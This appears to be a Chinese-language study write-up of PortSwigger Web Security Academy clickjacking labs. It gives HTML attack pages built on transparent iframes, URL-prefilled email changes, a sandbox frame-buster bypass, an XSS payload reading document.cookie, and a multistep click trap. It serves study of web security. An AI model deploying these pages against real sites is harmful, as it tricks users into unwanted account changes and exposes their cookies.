Clickjacking

點擊劫持是一種基於介面的攻擊,透過點擊誘餌網站中的某些其他內容,誘騙用戶點擊隱藏網站上的可操作內容。

例如,受害者造訪誘餌網站(也許這是電子郵件提供的連結)並點擊按鈕來贏得獎品。在不知不覺中,他們被攻擊者欺騙,按下了另一個隱藏按鈕,這導致了另一個網站上的帳戶的付款。

範例攻擊網頁如下,當受害者開啟後會顯示正常網站$url的內容, 一旦受害者點擊則觸發攻擊者陷井

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:300px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe src="$url"></iframe>

Lab: Basic clickjacking with CSRF token protection


預填參數點擊劫持

如果想對正常網站傳送email=hacker@attacker-website.com,可準備以下攻擊網頁

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:300px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="$url?email=hacker@attacker-website.com"></iframe>

Lab: Clickjacking with form input data prefilled from a URL paramete


饒過點擊劫持保護

如果目標限制網站的框架能力,可透過HTML5 iframesandbox屬性饒過。當使用allow-formsallow-scripts值設定並且allow-top-navigation省略該值時,可以中和框架破壞腳本。參考代碼如下

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:300px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe  sandbox="allow-forms" src="$url?email=hacker@attacker-website.com"></iframe>

Lab: Clickjacking with a frame buster script


搭配XSS的點擊劫持

如果目標有XSS弱點,可配合該弱點一起利用,參考代碼如下

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:410px;
       left:100px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe
src="https://acb81f3f1f9f7ad080f913b5004f0069.web-security-academy.net/feedback?name=<img src=1 onerror=alert(document.cookie)>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

一旦受害者開啟,視角會像以下這樣

<form id="feedbackForm" action="/feedback/submit" method="POST" enctype="application/x-www-form-urlencoded" personal="true">
     <input required type="hidden" name="csrf" value="ANhLQIO9pk6G72DBKikWxhbCBzJHyHmm">
     <label>Name:</label>
     <input required type="text" name="name" value="<img src=1 onerror=alert(document.cookie)>">
     <label>Email:</label>
     <input required type="email" name="email" value="hacker@attacker-website.com">
     <label>Subject:</label>
     <input required type="text" name="subject" value="test">
     <label>Message:</label>
     <textarea required rows="12" cols="300" name="message">test</textarea>
     <button class="button" type="submit">
            Submit feedback
     </button>
     <span id="feedbackResult"></span>
</form>

Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS


多步驟點擊劫持

攻擊者操縱目標網站的輸入可能需要採取多種行動。例如,攻擊者可能想誘騙用戶從零售網站購買商品,因此需要在下訂單之前將商品加入購物籃。攻擊者可以使用多個分區或 iframe 來實施這些操作。

以下為2步驟的參考代碼

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:350px;
       left:110px;
       z-index: 1;
   }
   .secondClick {
       left:270px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://ac491f781f41f6d380260340007600ce.web-security-academy.net/account"></iframe>

Lab: Multistep clickjacking